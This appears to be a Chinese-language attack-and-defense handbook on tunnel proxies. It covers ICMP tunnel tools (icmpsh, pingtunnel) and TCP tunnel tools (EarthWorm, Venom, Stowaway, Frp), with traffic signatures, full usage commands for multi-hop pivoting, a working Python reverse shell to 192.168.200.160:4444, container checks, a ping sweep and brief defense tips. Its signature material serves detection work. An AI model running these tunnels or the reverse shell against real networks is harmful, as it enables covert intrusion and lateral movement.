隧道代理攻防技术手册
字数 1683 2025-09-01 11:26:17
隧道代理攻防技术手册
一、ICMP隧道技术
1. ICMP协议基础
ICMP(Internet Control Message Protocol)是Internet协议族中的网络层协议,用于在IP网络中传递控制消息和错误报告。
2. ICMP隧道流量特征
-
正常ICMP流量:
- 单位时间内数据包发送数量为一组
- Windows下Data字段长度32字节,Linux下48字节
- 请求包和响应包长度相同
- Windows Data内容:
abcdefghijklmnopqrstuvwabcdefghi - Linux Data内容:
!"01234567 - Type字段类型为0(应答)或8(请求)
-
异常ICMP隧道流量:
- 请求包和响应包长度明显不同
- Data字段包含明文敏感信息
- 单位时间内数据包数量过大
- Data字段长度非默认值
- 包含会话key和访问信息
3. 常用ICMP隧道工具
3.1 icmpsh
一个简单的反向ICMP shell工具,不需要管理员权限即可运行。
使用步骤:
- 服务端设置(Kali):
sysctl -w net.ipv4.icmp_echo_ignore_all=1
git clone https://github.com/inquisb/icmpsh.git
python2 icmpsh_m.py <服务端IP> <目标机IP>
- 客户端运行(Windows):
icmpsh.exe -t <服务端IP> -d 500 -b 30 -s 128
参数说明:
-t:主机IP地址(必需)-r:发送测试请求后退出-d:请求间延迟(毫秒)-o:响应超时(毫秒)-b:空白数量限制-s:最大数据缓冲区大小(字节)
3.2 pingtunnel
通过ICMP发送TCP/UDP流量的工具,需要管理员权限。
使用步骤:
- 服务端:
echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_all
./pingtunnel -type server -noprint 1 -nolog 1
- 客户端(设置SOCKS5):
pingtunnel.exe -type client -l :4455 -s <服务端IP> -sock5 1 -noprint 1 -nolog 1
二、TCP隧道技术
1. TCP隧道流量特征
1.1 EarthWorm(EW)特征
- 建立连接时数据包特征:
xx xx 00 00 00 00 - 客户端发送:
01 01 00 00 00 00 - 服务端应答:
01 02 00 00 00 00
1.2 Venom特征
-
未加密时:
- 建立连接时发送:
00 00 00 00 00 00 - 携带
ABCDEFGH判断协议 - 使用
VCMD作为数据分割 - 命令执行过程为明文
- 建立连接时发送:
-
加密时:
- 数据全置零
- 不使用端口复用时才有特征
1.3 Stowaway特征
- 建立连接时发送:
00 00 00 00 00 00 - 包含明文信息:
IAMADMINXDIAMNEWHERETHEREISNOROUTE
- 大量重复ACK确认请求(心跳保持)
1.4 Frp特征
-
未加密时:
- 携带版本架构信息
- 传递会话ID和会话key
- 创建SOCKS5信息
-
TLS加密后:
- 建立连接时携带
0x17 - 固定243字节TLS-hello报文
- 服务端应答90字节TLS-hello报文
- 建立连接时携带
2. 常用TCP隧道工具
2.1 EarthWorm(EW)
下载地址:https://github.com/idlefire/ew
命令格式:
ssocksd:正向代理rcsocks:流量转发rssocks:SOCKS5反弹lcx_slave:端口绑定lcx_listen:流量转发lcx_tran:端口转发
使用场景:
- 公网出网:
./ew -s ssocksd -l 8888
- 内网出网(反向代理):
- 服务端:
./ew -s rcsocks -l 1080 -e 8888
- 客户端:
./ew -s rssocks -d <服务端IP> -e 8888
- 二重网络环境:
- 正向代理:
ew_for_Win.exe -s ssocksd -l 8888
- 反向代理:
# 跳板机
ew_for_Win.exe -s rcsocks -l 7766 -e 6677
# 内网机器
ew_for_Win.exe -s rssocks -d 10.10.10.20 -e 6677
- 三级网络代理:
- VPS:
ew -s rcsocks -l 1080 -e 8888
- 主机A:
ew -s lcx_slave -d 1.1.1.1 -e 8888 -f 2.2.2.3 -g 9999
- 主机B:
ew -s lcx_listen -l 9999 -e 7777
- 主机C:
ew -s rssocks -d 2.2.2.3 -e 7777
2.2 Venom
下载地址:https://github.com/Dliv3/Venom/
使用步骤:
- 服务端:
admin_linux_x64 -lport 7000 -passwd qaxNB666
- 客户端:
agent.exe -rhost <服务端IP> -rport 7000 -passwd qaxNB666
- 开启SOCKS:
show
goto 1
socks 1088
三、实战技巧
1. 反弹Shell示例
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("192.168.200.160",4444))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])
2. 判断Docker容器
- 检查
.dockerenv文件:
ls /.dockerenv
- 检查
/proc/1/cgroup:
cat /proc/1/cgroup
3. 内网主机发现
for i in $(seq 1 10); do ping -c 1 172.17.0.$i; done
四、防御建议
1. ICMP隧道防御
- 监控单位时间内ICMP数据包数量
- 检查Data字段长度和内容
- 限制ICMP协议的使用
2. TCP隧道防御
- 监控异常端口连接
- 检查协议特征(如EW的
xx xx 00 00 00 00) - 实施严格的网络访问控制
- 启用TLS加密通信
3. 通用防御措施
- 定期审计网络流量
- 限制不必要的出站连接
- 实施严格的权限控制
- 监控异常进程和网络连接